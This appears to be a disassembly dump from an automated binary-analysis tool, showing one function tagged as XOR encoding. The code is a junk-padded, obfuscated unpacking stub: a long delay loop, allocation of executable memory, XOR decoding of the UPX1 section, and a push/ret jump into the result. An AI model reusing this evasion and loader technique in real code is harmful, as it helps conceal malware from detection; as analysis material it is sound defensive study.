Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x31d7498e
inc eax
dec ebx
popal
not ebx
sub ebx, 0x54554c3a
mov edi, 0
mov esi, ecx
or ebx, ebx
sub eax, 0xa38cfe9d
inc ebx
mov edx, esi
inc eax
add eax, 0xa74887b6
add ebx, eax
mov ecx, edx
or ebx, eax
mov ebx, eax
add ebx, 1
inc edi
sub ebx, 0xd5e4c644
dec eax
cmp edi, 0x100b0d3
jne 0xa789c2
inc ebx
mov eax, 0x8fa11c6c
mov ebx, eax
add eax, ebx
not ebx
mov edi, 0xa78796
sub esi, 0xa9c1208d
not eax
mov ecx, 0xa7898a
inc eax
add eax, 0x2892e320
mov edx, dword [edi]
dec ebx
add ebx, 0xb8828e1b
and edx, 0xff
mov esi, 0x89f3ffbf
dec eax
xor dword [ecx], edx
add esi, 0xb8271abe
sub eax, ebx
inc ecx
sub ebx, 0x422a2d60
sub esi, ebx
inc edi
sub ebx, 0xc2bb70bf
mov ebx, 0xbf77a415
cmp ecx, entry0
jl 0xa78a1d
add esi, ebx
not eax
sub ebx, esi
not esi
sub esi, ecx
add edx, 0x7f3fcb4d
add edx, 1
mov edi, 0xa7898e
add esi, esi
or ebx, ecx
mov edi, dword [edi]
add edx, 0x44d8b260
sub ebx, 1
mov edi, dword [edi]
sub ebx, esi
or edx, ebx
push edi
add esi, esi
sub ecx, ebx
mov edi, 0xa7898a
add ecx, ebx
or edx, edx
mov edi, dword [edi]
and ebx, edx
not edx
not edx
mov edi, dword [edi]
sub ebx, ecx
sub esi, 0x8e8f4e9
dec edx
push 0xa78992
and edx, edx
not esi
call edi
add edx, ebx
dec edx
pop edi
and edx, esi
mov edx, ecx
add ecx, 0x944f36d1
push 0xa7899f
sub edx, 1
not edx
sub edx, 0x8b7ecb26
sub esp, 4
mov dword [esp], eax
sub edx, ebx
not esi
call edi
inc ebx
sub ebx, 1
add esi, 0xa0e821fc
sub esp, 4
mov dword [esp], 0x40
dec esi
mov ebx, edx
sub esi, 0xe3daa01d
push 0x3000
mov esi, ecx
dec edx
not edx
sub esp, 4
mov dword [esp], 0x20000b89
and ecx, edx
sub ebx, 0xa67edbb5
add edx, ebx
push 0
mov esi, ecx
or esi, esi
call eax
inc edx
and esi, ebx
add eax, 0x20000b07
inc esi
or esi, ecx
mov edi, 0xfc0a636b
inc esi
not esi
add edx, 1
mov dword [eax], edi
add edx, 0xb4d40de9
sub ebx, 0xf94ad1c3
mov esi, 0x78294315
mov edi, dword [eax]
add edx, 0xac5c9d38
sub esi, edx
cmp edi, 0xfc0a636b
je 0xa78b78
mov edx, 0
mov ebx, dword [edx]
dec ebx
and ebx, ebx
add esi, esi
and ecx, edx
sub edx, 0xa05e287d
and edx, esi
sub ebx, 0x181bd4ad
mov ebx, eax
sub ebx, eax
mov ecx, section.UPX1
not eax
inc ebx
dec ebx
mov edi, 0xa78795
and eax, ebx
sub eax, 0xf2ad52ca
mov edx, 0
not eax
or ebx, eax
mov esi, 0xa78796
mov eax, ebx
mov ebx, 0x9a973ece
lea esi, [edx + esi]
not ebx
not eax
not eax
mov esi, dword [esi]
mov ebx, eax
mov eax, 0x18e52c8b
and esi, 0xff
inc eax
mov eax, ebx
inc edx
inc ebx
add eax, 0xacfb35bb
sub eax, 0xe4516e1a
cmp edx, 0x1f4
jne 0xa78bf2
mov edx, 0
sub ebx, eax
sub eax, 1
sub ebx, 0x61d34d85
add eax, 1
xor dword [ecx], esi
not eax
and eax, eax
add ecx, 2
add ebx, ebx
add ebx, 1
cmp ecx, edi
jl 0xa78bb0
sub eax, ebx
sub eax, 1
add eax, eax
inc eax
mov edx, section.UPX1
sub eax, edi
mov edi, eax
mov esi, section.UPX1
mov edi, eax
add eax, 0xa598cefb
sub edi, eax
mov ebx, 0xa78795
mov edi, 0xb37d6fc7
not edi
mov ecx, 0
add edi, 0xb46a9a0a
add eax, edi
and edi, edi
mov cl, byte [esi]
sub eax, 0x3cb285d8
mov edi, 0xd91e36e1
mov byte [edx], cl
sub edi, 0xdb1c3052
mov eax, 0xf8425c3c
inc edx
mov edi, 0x4e01fe90
and edi, eax
add esi, 2
sub eax, 0xb5da9b13
and eax, edi
add eax, 0x341ff781
cmp esi, ebx
jle 0xa78c60
or eax, eax
add eax, 1
not edi
sub ebx, 0xffc75235
sub eax, ebx
push 0x8dc6a0
not eax
not eax
ret